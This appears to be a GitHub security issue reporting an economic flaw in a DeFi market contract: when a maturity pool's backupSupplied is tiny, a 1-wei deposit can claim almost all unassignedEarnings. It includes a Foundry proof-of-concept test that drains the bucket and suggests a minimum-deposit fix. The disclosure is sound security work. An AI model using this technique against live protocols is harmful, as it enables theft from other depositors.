Skip to content

An attacker can claim all unassignedEarnings with 1 wei when backupSupplied is Tiny in market.sol #795

@blessingblockchain

Description

@blessingblockchain

Summary

A maturity pool can accumulate a large unassignedEarnings balance. If, at some point, the pool’s backup-supplied amount becomes extremely small (e.g., backupSupplied = 1 unit), then an attakcer who deposits only 1 unit can claim almost 100% of unassignedEarnings as their fee (minus backupFeeRate).

This is exploitable because an attacker can wait for this state and be the first to deposit (or front-run others), draining the bucket.

Flow

- backupSupplied(pool) is the part of fixed borrows not covered by fixed suppliers:

backupSupplied=borrowed−min(borrowed,supplied)

  • If supplied >= borrowed, then backupSupplied = 0 (fixed suppliers cover all borrows).
  • If borrowed > supplied, then backupSupplied = borrowed - supplied (the “gap” is covered by the floating/backup side)

unassignedEarnings is an accounting bucket of earnings sitting inside that maturity pool that have not yet been distributed/claimed. So It can build up from normal protocol activity (borrow fees, repayments/penalties, liquidation side-effects) before being “realized” by specific interactions.

  • When someone deposits to the maturity pool, the protocol computes a “yield” that comes out of unassignedEarnings and is credited to the depositor’s position as position.fee.
  • The yield is:
    (when backupSupplied > 0)

yield. = unassignedEarnings⋅ min(depositAmount,backupSupplied)/ backupSupplied

And the state updates are effectively:

  1. depositor’s fixed position gets fee += userFee
  2. pool’s unassignedEarnings -= (userFee + backupFee) (i.e., the whole yield is removed)
Image

Now lets assume:

Image
  • the attacker doesn’t need to supply meaningful capital to “earn” almost all pending earnings just enough to match the tiny backupSupplied.

Proof of code

Add this function test to the market.t.sol


  /// @dev PoC: if `backupSupplied` is tiny (e.g. 1) while `unassignedEarnings` is large,
  /// a tiny deposit can claim (almost) all `unassignedEarnings` due to proportional allocation.
  ///
  /// Note: we use `vm.store` to directly set `unassignedEarnings` to an exaggerated value to make
  /// the effect unambiguous; the production path is `depositAtMaturity` → `FixedLib.calculateDeposit`.
  function testPoC_TinyDepositCanDrainUnassignedEarningsWhenBackupSuppliedIsTiny() public {
    uint256 maturity = FixedLib.INTERVAL;

    // Provide floating liquidity so the fixed-pool borrow can source from backup.
    deal(address(asset), ALICE, 1_000 ether);
    vm.startPrank(ALICE);
    asset.approve(address(market), type(uint256).max);
    market.deposit(1_000 ether, ALICE);
    vm.stopPrank();

    // Attacker sets up minimal collateral (so `checkBorrow` passes).
    deal(address(asset), attacker, 20);
    vm.startPrank(attacker);
    asset.approve(address(market), type(uint256).max);
    market.deposit(10, attacker);

    // Create a fixed pool state where `backupSupplied(pool) == 1`:
    // borrowed = 1, supplied = 0.
    market.borrowAtMaturity(maturity, 1, type(uint256).max, attacker, attacker);

    // Force a large amount of unassigned earnings for this maturity.
    uint256 unassigned = 100 ether;
    uint256 unassignedSlot = stdstore
      .target(address(market))
      .sig("fixedPools(uint256)")
      .with_key(maturity)
      .depth(2) // (borrowed, supplied, unassignedEarnings, lastAccrual)
      .find();
    vm.store(address(market), bytes32(unassignedSlot), bytes32(unassigned));

    // With `backupSupplied == 1`, depositing 1 claims ~all `unassignedEarnings` as "fee".
    uint256 positionAssets = market.depositAtMaturity(maturity, 1, 0, attacker);

    uint256 backupFeeRate = market.backupFeeRate();
    uint256 backupFee = unassigned.mulWadDown(backupFeeRate);
    uint256 expectedFee = unassigned - backupFee;

    assertEq(positionAssets, 1 + expectedFee);

    (uint256 principal, uint256 fee) = market.fixedDepositPositions(maturity, attacker);
    assertEq(principal, 1);
    assertEq(fee, expectedFee);

    (, , uint256 unassignedAfter, ) = market.fixedPools(maturity);
    assertEq(unassignedAfter, 0);

    vm.stopPrank();
  }

fIX

  • Put a minimum deposit size to be eligible for yield

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions